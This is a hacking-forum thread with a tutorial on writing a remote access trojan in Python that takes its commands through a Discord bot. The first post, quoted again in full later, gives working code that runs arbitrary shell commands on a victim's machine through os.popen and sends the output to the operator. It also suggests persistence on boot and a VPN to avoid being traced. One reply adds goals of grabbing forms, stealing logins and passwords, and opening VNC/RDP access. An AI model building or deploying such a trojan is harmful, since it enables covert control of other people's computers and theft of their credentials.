chevron_left chevron_right
Login Register invert_colors photo_library
Thread Rating:
  • 0 Vote(s) - 0 Average


filter_list Tutorial How to write your own RAT (No port forwarding required!)
Author
Message
How to write your own RAT (No port forwarding required!) #1
This is my personal favorite method, because you don't have to port forward on every router you use.
Very helpful when you're at a mcdonalds or something.

Step 1: Pick a language
As with most things, what language you pick usually does not fucking matter.
I will be providing examples in Python, because as a wise man once said:
Quote:Python can do anything, just badly.
You would usually want to pick a language like C++ instead, because you don't need to download
libraries on the target PC.

Step 2: Choose a chat site
This is another one of those things that really doesn't matter. You can use IRC, Telegram, Discord, etc...
All that matters is that you know how to receive messages via the language you chose.
I'm going to use Discord, because messing around w/ Discord bots is what inspired this post.

Step 3: Get your tokens & setup your bot
This differs between different sites, but should be fairly easy.
For Discord, you just need to setup 1 server and 1 bot.

Step 4: Actually programming the bot
First, get whatever libraries you need, and put the tokens in.
Code:
import discord, os, sys
token = "<YOUR TOKEN HERE"
Next, set up your client.
Code:
client = discord.Client()

@client.event
async def on_message(message):
       if(message.author == client.user):
               return
       if(message.content.startswith('!')):
               msg = message.content[1:]

client.run(token)
Now you need to decide what you actually want your RAT to do. I'm just going to make mine able to run system commands.
But first, I need to be able to check if it's actually connected. This is pretty trivial.
Code:
if(msg == "online"):
                       await client.send_message(message.channel, "Online!")

So now, we need to be able to run system commands. This is also very easy, however we can't just os.system it, because
we wouldn't be able to see what the command output is. Instead, we use
Code:
os.popen
to read the command output.
Code:
elif(msg.startswith("system ")):
                       msg = msg[7:]
                       ret = os.popen(msg).read()
                       await client.send_message(message.channel, ret)

We test it, and it works!
You might want to add additional features like starting on boot, and auto-updating the bot.

Conclusion
This was a very basic guide, and I would suggest using a VPN or a proxy while doing it.
Hopefully this shows you how easy RAT development is.

Reply

RE: How to write your own RAT (No port forwarding required!) #2
Definelty cool if you need something light weight and are not to fussed about tons of features.

Reply

RE: How to write your own RAT (No port forwarding required!) #3
Really usefull! Ty men i recommend using express vpn wich is really good

Reply

RE: How to write your own RAT (No port forwarding required!) #4
(11-11-2018, 09:36 PM)1024m Wrote: This is my personal favorite method, because you don't have to port forward on every router you use.
Very helpful when you're at a mcdonalds or something.

Step 1: Pick a language
As with most things, what language you pick usually does not fucking matter.
I will be providing examples in Python, because as a wise man once said:
Quote:Python can do anything, just badly.
You would usually want to pick a language like C++ instead, because you don't need to download
libraries on the target PC.

Step 2: Choose a chat site
This is another one of those things that really doesn't matter. You can use IRC, Telegram, Discord, etc...
All that matters is that you know how to receive messages via the language you chose.
I'm going to use Discord, because messing around w/ Discord bots is what inspired this post.

Step 3: Get your tokens & setup your bot
This differs between different sites, but should be fairly easy.
For Discord, you just need to setup 1 server and 1 bot.

Step 4: Actually programming the bot
First, get whatever libraries you need, and put the tokens in.
Code:
import discord, os, sys
token = "<YOUR TOKEN HERE"
Next, set up your client.
Code:
client = discord.Client()

@client.event
async def on_message(message):
       if(message.author == client.user):
               return
       if(message.content.startswith('!')):
               msg = message.content[1:]

client.run(token)
Now you need to decide what you actually want your RAT to do. I'm just going to make mine able to run system commands.
But first, I need to be able to check if it's actually connected. This is pretty trivial.
Code:
if(msg == "online"):
                       await client.send_message(message.channel, "Online!")

So now, we need to be able to run system commands. This is also very easy, however we can't just os.system it, because
we wouldn't be able to see what the command output is. Instead, we use
Code:
os.popen
to read the command output.
Code:
elif(msg.startswith("system ")):
                       msg = msg[7:]
                       ret = os.popen(msg).read()
                       await client.send_message(message.channel, ret)

We test it, and it works!
You might want to add additional features like starting on boot, and auto-updating the bot.

Conclusion
This was a very basic guide, and I would suggest using a VPN or a proxy while doing it.
Hopefully this shows you how easy RAT development is.

How to make it
1.grab forms
2.steal logins and extract passwords
4.create VNC/RDP access

Reply






Users browsing this thread: 1 Guest(s)